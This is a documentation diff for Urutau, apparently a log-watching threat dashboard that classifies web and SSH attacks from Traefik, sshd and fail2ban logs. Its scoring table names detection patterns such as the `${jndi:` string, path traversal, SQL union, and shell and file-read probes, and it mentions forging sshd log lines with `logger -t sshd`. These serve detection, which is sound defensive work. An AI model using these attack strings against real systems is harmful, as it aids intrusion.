+ +# Architecture + +Urutau is one Go binary with no third-party dependency. Everything runs in one process. + +``` +cmd/urutau entry point: serve, doctor, version +internal/app flags, wiring, the log runner, doctor +internal/tail rotation-aware file follower and rotated-file reader +internal/core event model, parsers (Traefik, sshd, fail2ban), classifier +internal/store in-memory state, summaries, merge, snapshot +internal/rdns reverse DNS cache +internal/fed hub that polls peers +internal/server HTTP handler, auth, embedded dashboard (web/) +``` + +## Data flow + +``` + Traefik access.log auth.log fail2ban.log + │ │ │ + └──── tail.Follower (one goroutine per source) ────┐ + ▼ + parse (core.ParseTraefik / ParseAuth / ParseFail2ban) → Event + ▼ + trusted CIDRs? drop. monitoring UA and benign? count aside. + ▼ + store.Ingest: counters, per-IP record, live feed + ▼ + snapshot every 60 s ◄── state ──► summaries / IP table / SSE +``` + +## Sources + +Each source is followed by its own goroutine and reports a state: `following`, `waiting` (the file does not exist yet), `backfill` (first start, reading rotated copies) or `error`. A line larger than 64 KiB is dropped and counted as malformed. On the first start without a snapshot, the rotated copies (`path.1`, `path.N.gz` up to 9) are read oldest first so the window is not empty. + +Lines are decoded as follows: + +- **Traefik:** one JSON object per line. Client address, host, method, path, status and User-Agent are read; paths and User-Agents are clipped. +- **sshd:** the lines of `auth.log` with ISO timestamps. Failed passwords and keys, invalid users, closed-before-auth connections and `Accepted` logins; negotiation errors, banner exchange failures and protocol mismatches count as probes. +- **fail2ban:** `Ban`, `Unban` and `Restore Ban` lines. A restored ban (replayed after a fail2ban restart) updates the ban state and is not scored. + +Log file paths are never exposed: neither the dashboard nor a peer export shows where a source reads from, only its name and state. + +Lines that are valid but carry nothing to record are ignored silently; lines that cannot be parsed are counted as malformed and shown per source in the dashboard. + +## Classification and scoring + +A web request is classified by its decoded path (percent-decoded up to twice, to defeat double encoding), method and status. + +| Category | Meaning | Weight | +|---|---|---| +| `exploit` | traversal, `${jndi:`, script injection, SQL union, shell and file-read probes | 8 | +| `ban` | fail2ban banned the IP | 10 | +| `scanner` | probes for `.env`, `.git`, `wp-config`, phpMyAdmin, backups and archives, plugin scans | 3 | +| `bruteforce` | `xmlrpc.php`, failed `wp-login.php`, `POST` answered with 401 | 2 | +| `ssh-fail` | failed sshd authentication | 2 | +| `ssh-probe` | sshd negotiation or banner probing | 1 | +| `notfound` | other 4xx answers | 0.2 | +| `ok`, `ssh-ok` | benign traffic and successful logins | 0 | + +An IP's score is the sum of the weights of its events in the retained window. A `scanner` or `exploit` request that the server answered with 2xx or 3xx (the probe probably found nothing, or the page is public) weighs only 0.5. Unbans and restored bans add nothing. + +The level combines the score with evidence: + +- **Suspicious:** a score of 10 or more. +- **Hostile:** a score of 50 or more **and** a strong signal: a known attack tool in the User-Agent, two or more attack categories, a fail2ban ban, or a clear exploit attempt that was refused (4xx or 5xx). A big score made only of weak signals (a crawler that hits many 404s) stays suspicious. +- **Never hostile:** an IP with a successful SSH login (`ssh-ok`), which is most likely you. +- Otherwise **low**. + +IPv6 clients are tracked by their /64 prefix, since one subscriber holds a whole /64 and per-address keys would let one attacker flood the table. IPs are tracked up to 20,000 entries. + +The malicious categories (`scanner`, `exploit`, `bruteforce`, `ssh-fail`, `ssh-probe`) feed the "malicious" totals. + +## Noise filtering + +Events from a trusted origin (`--trusted`, plus the private ranges of `--ignore`) are dropped before anything is recorded. A request whose User-Agent matches `--monitor-ua` and that is benign is counted in a separate "monitoring" counter and does not enter the traffic, the score or the lists. With `--monitor-from` the User-Agent only counts from those networks; without it only `ok` answers are filtered. If the request classifies as `scanner`, `exploit` or `bruteforce` it is a normal attack, since a User-Agent can be forged. + +## Geolocation and User-Agents + +`internal/geo` is a dependency-free MMDB reader. It opens the DB-IP Lite city and ASN databases, answers country, city and ASN for any public IP (private and loopback addresses return nothing) behind a small cache, and swaps a newer file in without a restart. Its updater downloads the files from `download.db-ip.com` when they are missing or older than 35 days, then checks on the `--geo-update` interval, verifying each file by opening it before it replaces the old one. `internal/ua` parses a User-Agent into browser, operating system, device class, bot (search engines, crawlers) or attack tool (scanners and exploit kits). Data by [DB-IP](https://db-ip.com), CC BY 4.0. + +## Web analytics + +Benign requests (`ok`, and the `notfound` that are not scanning) also feed the Traffic view. A domain only gets a slot after a 2xx answer (and `--domains` can restrict them to an allowlist), inactive domains are pruned, and top pages normalize token-looking path segments to `:id`: unique visitors, pages, referrers, countries, browsers, operating systems, devices, latency (p50 and p95) and bytes. A unique visitor is a hash computed with a salt that rotates daily, so it cannot be followed across days, and the IP address of a legitimate visitor is never persisted. Attack traffic stays in the Threats view, where the IP is the subject. Monitoring requests are kept out of both. + +## State and persistence + +The state lives in memory: minute buckets for 7 days, hourly top lists (paths, domains, User-Agents, users), a table of up to 20,000 IPs (when full, the 10% with the lowest score are evicted; banned IPs are kept), a feed of the latest 500 events and the active bans. `--retention` (1h to 168h) bounds how long IPs are kept; old IPs are pruned every 10 minutes. + +Every 60 seconds, and on shutdown, the state is written to `urutau-state.gob` in the data directory together with the inode and offset of every source. On start it is restored and each source resumes exactly where it stopped, so a restart never counts a log twice. A snapshot is skipped while a backfill runs. An unreadable snapshot is moved to `urutau-state.gob.corrupt` and the service starts empty, reading the logs again (including the rotated copies). + +The process sets a soft memory limit of 160 MiB unless `GOMEMLIMIT` is set. + +## Federation + +A hub is an ordinary instance started with `--peer name=https://url`, and it needs `URUTAU_PEER_TOKEN`. Every 15 seconds it calls each peer's `GET /api/v1/peer/export?range=...` (for `1h`, `24h` and `7d`) with the peer token and keeps the latest answer. The export is `{"v":1,"summary":...,"traffic":{...}}` with the top 500 IPs and their detail, cached for 5 seconds on the peer. It is the only route the peer token opens. The hub never follows redirects, requires `https` outside loopback, uses a 4 second timeout, caps the body at 8 MB and sanitizes and caps whatever a peer sends. A peer that fails is marked offline and the others carry on. The dashboard host selector then offers `all`, the hub itself and each peer; summaries, traffic and IP tables are merged, and every row carries the host it came from. + +## HTTP layer + +The server sets read, write and idle timeouts, `MaxHeaderBytes` of 16 KB, caps `POST /login` at 4 KB and accepts at most 20 simultaneous live-stream (SSE) clients (the 21st gets 503 with `Retry-After`; each stream sends a heartbeat every 20 s). The handler uses the standard `net/http` mux. Every response carries a strict Content-Security-Policy (`default-src 'self'`), `X-Content-Type-Options`, `X-Frame-Options: DENY`, `Referrer-Policy: no-referrer`, cross-origin isolation headers and, over HTTPS, HSTS. API answers are `Cache-Control: no-store`. The dashboard files are embedded in the binary. See [interface.md](interface.md) for the routes and [configuration.md](configuration.md) for the settings. diff --git a/docs/cli.md b/docs/cli.md new file mode 100644 index 0000000..e87c4df --- /dev/null +++ b/docs/cli.md @@ -0,0 +1,84 @@ +

◂ Back to README

+ +# Terminal + +``` +urutau serve [flags] run the daemon and the dashboard +urutau doctor [--json] [flags] check the sources and the data directory +urutau healthcheck [flags] exit 0 when the local daemon answers /api/health +urutau version print the version +urutau help print the usage +``` + +The access token is never a flag: `urutau serve` reads it from the `URUTAU_TOKEN` environment variable, or from the file named by `URUTAU_TOKEN_FILE`, so it does not show up in the process list. Tokens need at least 32 characters and about 128 bits of estimated entropy (length times Shannon entropy; periodic or sequential tokens are refused) (`openssl rand -base64 48` is recommended (`-hex 32` also works)). Every flag below has a `URUTAU_*` environment default; a flag wins over the variable. See [configuration.md](configuration.md). + +## `urutau serve` + +| Flag | Variable | Default | Meaning | +|---|---|---|---| +| `--bind` | `URUTAU_BIND` | `0.0.0.0:8790` | listen address | +| `--name` | `URUTAU_NAME` | hostname | name of this instance | +| `--data-dir` | `URUTAU_DATA_DIR` | `/data` | directory of the snapshot (`urutau-state.gob`) | +| `--traefik-log` | `URUTAU_TRAEFIK_LOG` | `/data/coolify/proxy/access.log` | Traefik JSON access log; empty disables | +| `--auth-log` | `URUTAU_AUTH_LOG` | `/var/log/auth.log` | sshd log; empty disables | +| `--fail2ban-log` | `URUTAU_FAIL2BAN_LOG` | `/var/log/fail2ban.log` | fail2ban log; empty disables | +| `--trusted` | `URUTAU_TRUSTED` | empty | CIDRs of trusted origins; their events are dropped entirely. `--ignore` / `URUTAU_IGNORE` is an alias | +| `--ignore` | `URUTAU_IGNORE` | `127.0.0.0/8,::1,10.0.0.0/8,172.16.0.0/12,192.168.0.0/16,fc00::/7,fe80::/10,100.64.0.0/10,169.254.0.0/16` | same effect as `--trusted`, with the private ranges as default | +| `--monitor-ua` | `URUTAU_MONITOR_UA` | `(?i)^(Uptime-Kuma/\|Beszel\|Coolify\|kube-probe/\|Go-http-client/.*healthcheck)` | regular expression of monitoring User-Agents | +| `--monitor-from` | `URUTAU_MONITOR_FROM` | empty | CIDRs the monitors come from; when set, the monitoring User-Agent only counts from them. Empty: only `ok` answers are filtered | +| `--domains` | `URUTAU_DOMAINS` | empty | allowlist of analytics domains (exact or `*.example.com`); empty tracks every domain that answers 2xx; recommended when a backend answers 2xx for any Host | +| `--geo-dir` | `URUTAU_GEO_DIR` | `/geo` | directory of the DB-IP Lite databases (city and ASN) | +| `--geo-update` | `URUTAU_GEO_UPDATE` | `24h` | how often to check for a newer database; `0` turns the download off | +| `--peer` | `URUTAU_PEERS` | none | peer `name=https://url`; repeat the flag, or comma separate the variable | +| `--peer-token` | `URUTAU_PEER_TOKEN` | empty | token shared with the peers; prefer the variable or `URUTAU_PEER_TOKEN_FILE` (a flag shows up in the process list). Per-peer: `URUTAU_PEER_TOKEN_` | +| `--admin-users` | `URUTAU_ADMIN_USERS` | empty | SSH users whose successful login keeps their IP out of the blocklist for 24 h; the immunity is off unless set | +| `--peer-allow` | `URUTAU_PEER_ALLOW` | empty | source CIDRs allowed to call the export; empty accepts any source with the token | +| `--trusted-proxy` | `URUTAU_TRUSTED_PROXY` | `127.0.0.0/8,::1` (the compose file sets `10.250.0.0/24`) | proxies whose `X-Forwarded-For` is trusted, read right to left (login rate limit, `--peer-allow`) | +| `--retention` | `URUTAU_RETENTION` | `168h` | how long data is kept (1h to 168h) | +| `--insecure-no-auth` | none | off | disable authentication; only on a loopback bind | + +Validation at start: peers must be `name=https://host` (plain `http` only on loopback), `URUTAU_PEER_TOKEN` must be set and different from `URUTAU_TOKEN`, names must be unique and cannot be `all` or the instance's own name, `--retention` must be at least 1h, and `URUTAU_TOKEN` and every peer token must have at least 32 characters and about 128 bits of estimated entropy; each peer needs a client token (`URUTAU_PEER_TOKEN_` or the general `URUTAU_PEER_TOKEN` as fallback), and peer names must not collide in that variable name (unless `--insecure-no-auth` on a loopback address). + +```bash +export URUTAU_TOKEN=$(openssl rand -base64 48) +urutau serve --bind 127.0.0.1:8790 --data-dir ./data \ + --traefik-log "" --auth-log /var/log/auth.log +``` + +The daemon logs to stderr, saves a snapshot on `SIGTERM` or `SIGINT` and exits 0 on a clean stop. + +## Noise and monitoring + +```bash +urutau serve --trusted "10.0.0.0/8,203.0.113.7" \ + --monitor-ua '(?i)uptime-kuma|statuscake' +``` + +`--trusted` drops every event from those origins. `--monitor-ua` matches the User-Agent of benign requests (`ok` or `notfound`) and counts them apart as "monitoring"; a request that is a `scanner`, `exploit` or `bruteforce` still counts as an attack. + +## Geolocation + +```bash +urutau serve --geo-dir /data/geo --geo-update 24h +``` + +Urutau downloads the DB-IP Lite city and ASN databases into `--geo-dir` when they are missing or older than 35 days, then checks every `--geo-update` for the current month's file. The file is verified before it replaces the old one, and a failed download never stops the service. Data by [DB-IP](https://db-ip.com), CC BY 4.0. + +## `urutau doctor` + +Checks the configuration (token, peers, bind), each log source (readable, size), that the data directory is writable, the geolocation databases and the snapshot. Statuses are `ok`, `warn` (a source that cannot be opened yet), `fail` and `off` (disabled). The exit code is 1 when any check is `fail`, which makes it usable in a healthcheck or a deploy script. + +```bash +urutau doctor +docker exec urutau urutau doctor --json +``` + +`--json` prints `{"version", "name", "ok", "checks": [{"name", "status", "detail"}], "geo", "state"}`. `geo` reports the directory, update interval, attribution and the build dates of the loaded databases; `state` reports the snapshot (path, size, IPs, domains and requests in 7 days) or that none exists yet. A snapshot that cannot be read shows up as `warn`. + +## `urutau healthcheck` + +Calls `/api/health` on the local bind address and exits 0 when it answers `{"status":"ok"}`, 1 otherwise. It is the container `HEALTHCHECK`, which is why the image has no `curl`. It accepts the same flags as `serve` (for a non-default `--bind`). + +## `urutau version` + +Prints `urutau `. `--version` and `-v` work too. diff --git a/docs/configuration.md b/docs/configuration.md new file mode 100644 index 0000000..c1e74b9 --- /dev/null +++ b/docs/configuration.md @@ -0,0 +1,74 @@ +

◂ Back to README

+ +# Configuration + +Urutau has no configuration file. Everything is a flag with a `URUTAU_*` environment default ([cli.md](cli.md)), which suits a container. The secrets are environment variables only. + +## Secrets + +| Variable | Meaning | +|---|---| +| `URUTAU_TOKEN` | **Required.** Access token of the dashboard and the API: at least 32 characters and about 128 bits of estimated entropy (length times Shannon entropy; periodic or sequential tokens are refused). Generate one with `openssl rand -base64 48` (`openssl rand -hex 32` also works; `-hex 16` is refused by the entropy estimate). | +| `URUTAU_TOKEN_FILE` | Path of a file holding the token (whitespace trimmed), instead of the variable. The variable wins when both are set. | +| `URUTAU_PEER_TOKEN` | Optional. The server token of this instance: the only token its `GET /api/v1/peer/export` accepts, and it opens nothing else. Same strength rules as `URUTAU_TOKEN` (32+ characters, about 128 bits of estimated entropy, not periodic or sequential), and it must differ from it. When this instance is a hub, it is also the fallback client token sent to peers that have no token of their own. | +| `URUTAU_PEER_TOKEN_FILE` | Path of a file holding the general peer token. | +| `URUTAU_PEER_TOKEN_` and `...__FILE` | The client credential a hub sends to that one peer; it must equal the peer's own `URUTAU_PEER_TOKEN`. `` is the peer name uppercased with every character other than a letter or digit turned into `_` (`my-peer` becomes `MY_PEER`). It does **not** open the local export. Two peer names that collapse to the same variable (`my-peer` and `my_peer`) are refused. A hub with a peer and no token for it refuses to start. | + +Keep both in `.env` (never versioned) or in your orchestrator's secret store. + +## Settings + +| Variable | Default | Meaning | +|---|---|---| +| `URUTAU_BIND` | `0.0.0.0:8790` | listen address | +| `URUTAU_NAME` | container hostname | name shown in the dashboard and used by the hub | +| `URUTAU_DATA_DIR` | `/data` | where the snapshot `urutau-state.gob` is written | +| `URUTAU_TRAEFIK_LOG` | `/data/coolify/proxy/access.log` | Traefik JSON access log, empty disables | +| `URUTAU_AUTH_LOG` | `/var/log/auth.log` | sshd log, empty disables | +| `URUTAU_FAIL2BAN_LOG` | `/var/log/fail2ban.log` | fail2ban log, empty disables | +| `URUTAU_TRUSTED` | empty | trusted CIDRs or IPs, comma separated; their events are dropped entirely | +| `URUTAU_IGNORE` | `127.0.0.0/8,::1,10.0.0.0/8,172.16.0.0/12,192.168.0.0/16,fc00::/7,fe80::/10,100.64.0.0/10,169.254.0.0/16` | same effect, kept as the alias that carries the private ranges as default | +| `URUTAU_MONITOR_UA` | `(?i)^(Uptime-Kuma/\|Beszel\|Coolify\|kube-probe/\|Go-http-client/.*healthcheck)` | regular expression of monitoring User-Agents | +| `URUTAU_GEO_DIR` | `/geo` | where the DB-IP Lite databases live | +| `URUTAU_GEO_UPDATE` | `24h` | interval between checks for a newer database; `0` disables the download | +| `URUTAU_PEER_ALLOW` | empty | CIDRs allowed to call the export; empty accepts any source that has the token | +| `URUTAU_TRUSTED_PROXY` | `127.0.0.0/8,::1` (the compose file sets `10.250.0.0/24`) | reverse proxies whose `X-Forwarded-For` is trusted (read right to left); used by the login rate limit and by `URUTAU_PEER_ALLOW` | +| `URUTAU_DOMAINS` | empty | allowlist of analytics domains, exact names or `*.example.com`; empty tracks every domain that answers 2xx; recommended, in practice required, when any backend answers 2xx for every Host (catch-all or wildcard), otherwise random Hosts can fill the 24 domain slots | +| `URUTAU_MONITOR_FROM` | empty | CIDRs the monitors really come from; when set, the monitoring User-Agent only counts from them | +| `URUTAU_ADMIN_USERS` | empty | SSH users whose successful login keeps their IP out of the blocklist for 24 h after the last login (a later strong signal cancels it); the immunity is off unless this is set | +| `URUTAU_PEERS` | empty | peers to aggregate, comma separated `name=https://url` | +| `URUTAU_RETENTION` | `168h` | retention as a Go duration, from `1h` to `168h` | +| `GOMEMLIMIT` | 160 MiB soft limit | standard Go memory limit; set it to override the default | +| `TZ` | UTC | time zone of `fail2ban.log` timestamps, which carry no zone | + +In the container image the three log paths default to `/logs/traefik/access.log`, `/logs/host/auth.log` and `/logs/host/fail2ban.log` (the compose file mounts the host logs there). The compose file adds `URUTAU_VERSION` (image tag), `URUTAU_IMAGE` and `URUTAU_PUBLISH` (host address and port), see `.env.example`. + +## Noise and monitoring + +- **Traefik headers.** Log `Sec-Fetch-Site`, `Sec-Fetch-Dest` and `Referer` so Urutau can tell a page framing your site from a real visit: `--accesslog.fields.headers.names.Sec-Fetch-Site=keep`, `--accesslog.fields.headers.names.Sec-Fetch-Dest=keep` and `--accesslog.fields.headers.names.Referer=keep`. A request framed by another page (`Sec-Fetch-Site` of `cross-site` or `same-site`, or a sub-resource `Sec-Fetch-Dest` such as `image` or `script`) appears in the timeline and creates an IP record like any other, but weighs 0.25 per event, with at most 30 points per IP coming from such requests (below the hostile threshold), and never counts as a strong signal. With an attack-tool User-Agent the headers are ignored. +- **Trusted origins** (`URUTAU_TRUSTED`): your own network, offices, monitors and other servers. `URUTAU_IGNORE` already drops loopback and the private ranges by default, so internal traffic never scores. Add your public monitor IPs. If your proxy reports the Docker gateway as the client, that address is private and already dropped; fix the proxy to pass the real client address instead. +- **Monitoring User-Agent** (`URUTAU_MONITOR_UA`): a Go regular expression. A request that matches and is benign is counted as "monitoring" instead of traffic. If the request is a `scanner`, `exploit` or `bruteforce` it counts as an attack: a User-Agent is trivial to forge, so it never grants immunity. +- **Where monitors come from** (`URUTAU_MONITOR_FROM`): CIDRs of your monitors. When set, the monitoring User-Agent is honored only from those networks and benign requests (`ok` or `notfound`) are filtered. When empty, only `ok` answers are filtered: a `notfound` carrying a monitor User-Agent still counts, because anyone can send that header. + +## Geolocation and analytics + +Country, city and ASN come from the DB-IP Lite databases (city and ASN), which Urutau downloads and refreshes by itself into `URUTAU_GEO_DIR`. Without them (for example on an air-gapped host) the dashboard works and the geographic fields stay empty; to run offline, place the `dbip-city-lite-YYYY-MM.mmdb` and `dbip-asn-lite-YYYY-MM.mmdb` files in that directory and set `URUTAU_GEO_UPDATE=0`. The databases are licensed CC BY 4.0: keep the attribution (the dashboard footer and the README already carry it). + +The Traffic tab needs no setting. `URUTAU_DOMAINS` restricts which domains it tracks (exact names or `*.example.com`); a domain only gets a slot after a 2xx answer and inactive domains are pruned, so forged `Host` headers cannot fill the analytics. Top pages normalize token-looking path segments (ids, hashes, long random strings) to `:id`. It uses the Traefik log, counts unique visitors by a daily-salted hash and never persists the IP address of a legitimate visitor. See [SECURITY.md](../SECURITY.md). + +## Peers (hub mode) + +``` +URUTAU_PEERS=web1=https://urutau.web1.example,db1=https://urutau.db1.example +URUTAU_PEER_TOKEN= +``` + +On each peer, set the same `URUTAU_PEER_TOKEN`. The hub calls only `GET /api/v1/peer/export` (once per range, `1h`, `24h` and `7d`, every 15 seconds). Peer URLs must be `https` (plain `http` is accepted only for loopback): the peer token travels in a header. To restrict who may call the export, set `URUTAU_PEER_ALLOW` on the peer to the hub's address. Peer names must be unique and cannot be `all` or the hub's own name. + +## Snapshot and retention + +The snapshot file holds the aggregated state and the log offsets. Mount `URUTAU_DATA_DIR` on a volume to keep it across restarts. Delete the file to start from zero (the rotated logs will be read again). Retention limits how long an IP is kept, at most 168 hours; the dashboard ranges are `1h`, `24h` and `7d`. + +## Authentication and exposure + +The default bind is `0.0.0.0` because the container is behind a proxy. Outside a container, bind to `127.0.0.1` or put a TLS reverse proxy in front. `--insecure-no-auth` exists only for local tests and is refused on non-loopback binds. diff --git a/docs/docker.md b/docs/docker.md new file mode 100644 index 0000000..e856f5d --- /dev/null +++ b/docs/docker.md @@ -0,0 +1,161 @@ +

◂ Back to README

+ +# Docker + +Urutau ships as one small container image (`linux/amd64` and `linux/arm64`, about 28 MB, no `curl`), defined in [`docker-compose.yml`](../docker-compose.yml). It only needs to read log files and to write one snapshot. + +``` +host container urutau +/data/coolify/proxy/logs ── :ro ────────────► /logs/traefik (access.log of Traefik) +/var/log/urutau ── :ro ────────────► /logs/host (auth.log, fail2ban.log) +volume urutau-data ── read and write ─► /data (snapshot, geo databases) +``` + +The compose file follows this layout. The Traefik log directory is mounted outside `/data` so it does not collide with the snapshot volume. Only the dedicated `logs` directory of the proxy is mounted, never the whole `/data/coolify/proxy` (which holds `acme.json` and the dynamic configuration). + +The image runs as the unprivileged user `urutau` (uid 10001) on Alpine. Its `HEALTHCHECK` is the binary itself (`urutau healthcheck`, which asks the local daemon for `/api/health`), so there is no `curl` in the image. The compose file sets `mem_limit: 256m` and `cpus: 0.5`, a read-only root filesystem, `cap_drop: [ALL]` and `no-new-privileges`, and passes from `.env` to the container: `URUTAU_TOKEN`, `URUTAU_NAME`, `URUTAU_TRUSTED`, `URUTAU_PEERS`, `URUTAU_PEER_TOKEN`, `URUTAU_PEER_ALLOW`, `URUTAU_TRUSTED_PROXY`, `URUTAU_DOMAINS`, `URUTAU_MONITOR_FROM`, `URUTAU_ADMIN_USERS`, `URUTAU_GEO_UPDATE` and `TZ`. To set any other `URUTAU_*` variable (`URUTAU_MONITOR_UA`, `URUTAU_RETENTION`, `URUTAU_TOKEN_FILE`, per-peer tokens, ...), add it to the `environment` block. + +## Quick start + +```bash +cp .env.example .env +sed -i "s|^URUTAU_TOKEN=.*|URUTAU_TOKEN=$(openssl rand -base64 48 | tr -d '\n')|" .env +docker compose pull && docker compose up -d # published image +# or, building locally: +docker compose up -d --build +``` + +The token needs at least 32 characters and about 128 bits of estimated entropy (length times Shannon entropy; periodic or sequential tokens are refused). `openssl rand -base64 48` is recommended (`openssl rand -hex 32` also qualifies). To keep the secret out of the environment, mount a file and set `URUTAU_TOKEN_FILE` (same for `URUTAU_PEER_TOKEN_FILE`). + +The dashboard comes up at `http://127.0.0.1:8790` by default (`URUTAU_PUBLISH` in `.env` changes the address and port). Check the sources: + +```bash +docker compose exec urutau urutau doctor +docker compose logs urutau +``` + +## Reading the logs + +- **Traefik:** the access log must be JSON and written to a dedicated directory. In Traefik's static configuration set `--accesslog=true`, `--accesslog.format=json` and `--accesslog.filepath=/traefik/logs/access.log`. On Coolify the host directory `/data/coolify/proxy` is `/traefik` inside the proxy container, so that file appears on the host as `/data/coolify/proxy/logs/access.log`, which is what the compose file mounts. In the Coolify UI open Servers, the server, Proxy, and add those three lines to the `command` list of the proxy configuration, then restart the proxy. In the same place add the headers Urutau uses to tell real visits from framed requests: `--accesslog.fields.headers.names.Sec-Fetch-Site=keep`, `--accesslog.fields.headers.names.Sec-Fetch-Dest=keep` and `--accesslog.fields.headers.names.Referer=keep`. +- **auth.log and fail2ban.log:** the dedicated host directory `/var/log/urutau` is mounted read-only at `/logs/host` as a directory, because logrotate recreates these files by rename and a single-file mount would keep following the old inode. Prepare it as shown in [Preparing the host logs](#preparing-the-host-logs). The files are owned by `syslog:adm`, so the container adds the host's `adm` group (GID 4) with `group_add: ["4"]`, as the compose file does. Nothing else from the host `/var/log` is exposed. +- **Read-only:** all log mounts are `:ro`. Urutau never writes to a log. +- **Rotation:** the follower reopens the file when logrotate replaces or truncates it. + +## Preparing the host logs + +Urutau reads a dedicated directory, `/var/log/urutau`, instead of the whole `/var/log`. Prepare it once on each server (the original `/var/log/auth.log` stays untouched): + +```bash +sudo install -d -m 0750 -o syslog -g adm /var/log/urutau + +# rsyslog: copy sshd lines into their own file +sudo tee /etc/rsyslog.d/40-urutau.conf >/dev/null <<'EOF' +if $programname == 'sshd' or $programname == 'sshd-session' then { + action(type="omfile" file="/var/log/urutau/auth.log" template="RSYSLOG_FileFormat" + fileOwner="syslog" fileGroup="adm" fileCreateMode="0640") +} +EOF +sudo systemctl restart rsyslog + +# fail2ban: write its log there too +sudo tee /etc/fail2ban/fail2ban.d/urutau.local >/dev/null <<'EOF' +[Definition] +logtarget = /var/log/urutau/fail2ban.log +EOF +sudo systemctl restart fail2ban + +# logrotate for both files +sudo tee /etc/logrotate.d/urutau >/dev/null <<'EOF' +/var/log/urutau/*.log { + weekly + rotate 4 + compress + delaycompress + missingok + notifempty + create 0640 syslog adm + postrotate + systemctl kill -s HUP rsyslog.service 2>/dev/null || true + fail2ban-client flushlogs >/dev/null 2>&1 || true + endscript +} +EOF +``` + +`RSYSLOG_FileFormat` writes ISO timestamps, which is the format Urutau parses. Check the `adm` GID with `getent group adm`. Known limitation: a local user of the host can forge sshd lines with `logger -t sshd`. Urutau limits the damage (a hostile level needs a strong signal and the admin immunity lasts 24 hours), but anyone with a shell on the host is already inside your trust boundary. + +## Example: Coolify + +Create a Docker Compose resource on the Coolify server whose logs you want to watch, with this compose file: + +```yaml +services: + urutau: + image: git.lucasrguerra.dev.br/ciberfauna/urutau:latest + restart: unless-stopped + environment: + URUTAU_TOKEN: ${URUTAU_TOKEN} + URUTAU_NAME: server-1 + URUTAU_AUTH_LOG: /logs/host/auth.log + URUTAU_FAIL2BAN_LOG: /logs/host/fail2ban.log + URUTAU_TRUSTED_PROXY: 10.250.0.0/24 + TZ: UTC # the host's time zone (fail2ban.log has none) + group_add: ["4"] # adm: read auth.log and fail2ban.log + read_only: true + cap_drop: [ALL] + security_opt: ["no-new-privileges:true"] + volumes: + - /data/coolify/proxy/logs:/logs/traefik:ro + - /var/log/urutau:/logs/host:ro + - urutau-data:/data + networks: [urutau-edge] + labels: + - traefik.enable=true + - traefik.docker.network=urutau-edge + - traefik.http.routers.urutau.rule=Host(`urutau.example.com`) + - traefik.http.routers.urutau.entrypoints=https + - traefik.http.routers.urutau.tls=true + - traefik.http.routers.urutau.tls.certresolver=letsencrypt + - traefik.http.services.urutau.loadbalancer.server.port=8790 + +volumes: + urutau-data: + +networks: + urutau-edge: + external: true +``` + +Notes: + +- **A network shared only with Traefik.** `--trusted-proxy` defaults to loopback only, so by default `X-Forwarded-For` is ignored. The compose file creates the `urutau-edge` network (`10.250.0.0/24`) and sets `URUTAU_TRUSTED_PROXY=10.250.0.0/24`, so only the proxy on that network is believed (any other container there could forge client IPs, so keep it to the proxy). Connect the proxy once: `docker network connect urutau-edge coolify-proxy`. In a standalone compose like the example below, declare the network the same way and set the variable. The `traefik.docker.network` label tells Traefik to use it. Adapt the entrypoint and certificate resolver names to your proxy. +- The image already points the sources at `/logs/traefik/access.log`, `/logs/host/auth.log` and `/logs/host/fail2ban.log` (its `URUTAU_*_LOG` defaults). The binary's own defaults (`/data/coolify/proxy/access.log`, `/var/log/...`) are for running it directly on the host. +- Set `URUTAU_TOKEN` in the Coolify environment. Behind the proxy the dashboard is served over HTTPS, so the session cookie is `Secure`. +- Do not publish port 8790 on the host when the proxy already routes it. +- If the Traefik access log is missing or not JSON, the source stays at zero lines or `malformed` grows. +- Urutau needs no `tmpfs`: the root filesystem is read-only and its only write target is the `/data` volume. + +## Geolocation database + +The DB-IP Lite databases are downloaded into the data volume (`/data/geo`) on first start, so the container needs outbound HTTPS to `download.db-ip.com` once, and then once a month. If the host cannot reach the internet, copy the two `.mmdb` files into the volume and set `URUTAU_GEO_UPDATE=0` ([configuration.md](configuration.md)). Data by [DB-IP](https://db-ip.com), CC BY 4.0. + +## Federation across servers + +Run one Urutau per server with its own `URUTAU_NAME`. Every instance that is polled sets its own server token, `URUTAU_PEER_TOKEN` (or `_FILE`), and that is the only token its export accepts. The hub holds a client credential for each peer, equal to that peer's server token: one `URUTAU_PEER_TOKEN_` per peer (the peer name uppercased, other characters turned into `_`, for example `URUTAU_PEER_TOKEN_SERVER_2`), with the hub's general `URUTAU_PEER_TOKEN` as fallback. A client credential does not open the hub's own export, and peer names that collapse to the same variable (`my-peer` and `my_peer`) are refused. Tokens need 32+ characters and about 128 bits of entropy, different from `URUTAU_TOKEN` (`openssl rand -base64 48`), and can come from `..._FILE`. On the server that hosts the shared dashboard (the hub) add: + +```yaml + environment: + URUTAU_PEERS: server-2=https://urutau.server2.example.com,server-3=https://urutau.server3.example.com + URUTAU_PEER_TOKEN_SERVER_2: ${TOKEN_FOR_SERVER_2} + URUTAU_PEER_TOKEN_SERVER_3: ${TOKEN_FOR_SERVER_3} +``` + +The hub calls only `GET /api/v1/peer/export` on each peer (three ranges every 15 seconds) with that peer's token, which opens nothing else on the peer and is refused over plain `http` outside loopback. Set `URUTAU_PEER_ALLOW` on a peer to the hub's address to restrict who may call the export. Each peer keeps its own login token for its own dashboard. + +## Hardening + +`read_only: true`, `cap_drop: [ALL]`, `no-new-privileges` and read-only log mounts leave the container able to do one thing: read the logs and write its snapshot. Keep the image on a pinned tag (`X.Y.Z`) in production and `latest` only where you accept updates. + +## Health and shutdown + +`GET /api/health` answers `{"status":"ok"}` without authentication. `urutau healthcheck` calls it locally and exits 0 when the daemon is healthy; the image uses it as its `HEALTHCHECK`. On `SIGTERM` the daemon stops accepting requests, saves the snapshot and exits. diff --git a/docs/interface.md b/docs/interface.md new file mode 100644 index 0000000..8f020ce --- /dev/null +++ b/docs/interface.md @@ -0,0 +1,53 @@ +

◂ Back to README

+ +# Interface + +The dashboard is embedded in the binary: plain HTML, CSS and JavaScript, no build step and no external request (fonts, scripts and styles are all served by Urutau, which the Content-Security-Policy enforces). It follows the system light or dark theme, can be switched by hand, and speaks English or Portuguese (button in the header; the choice is remembered in the browser). + +## Login + +Open the address of the instance. Without a session you are sent to `/login`: paste `URUTAU_TOKEN`. The session lasts 12 hours (`urutau_session` cookie, `HttpOnly`, `SameSite=Strict`) and is revocable: it holds a random id kept in memory, **Log out** revokes it (and closes its live stream), and a restart of the daemon invalidates every session. Login and logout reject cross-site requests. After 5 failures from the same address (IPv6 counted per /64) in 10 minutes the login answers 429, and a correct token is still accepted but after a 1 second delay, so the limiter cannot lock the owner out. Wrong bearer tokens on the API count as failures too. The address is the real client behind the proxies listed in 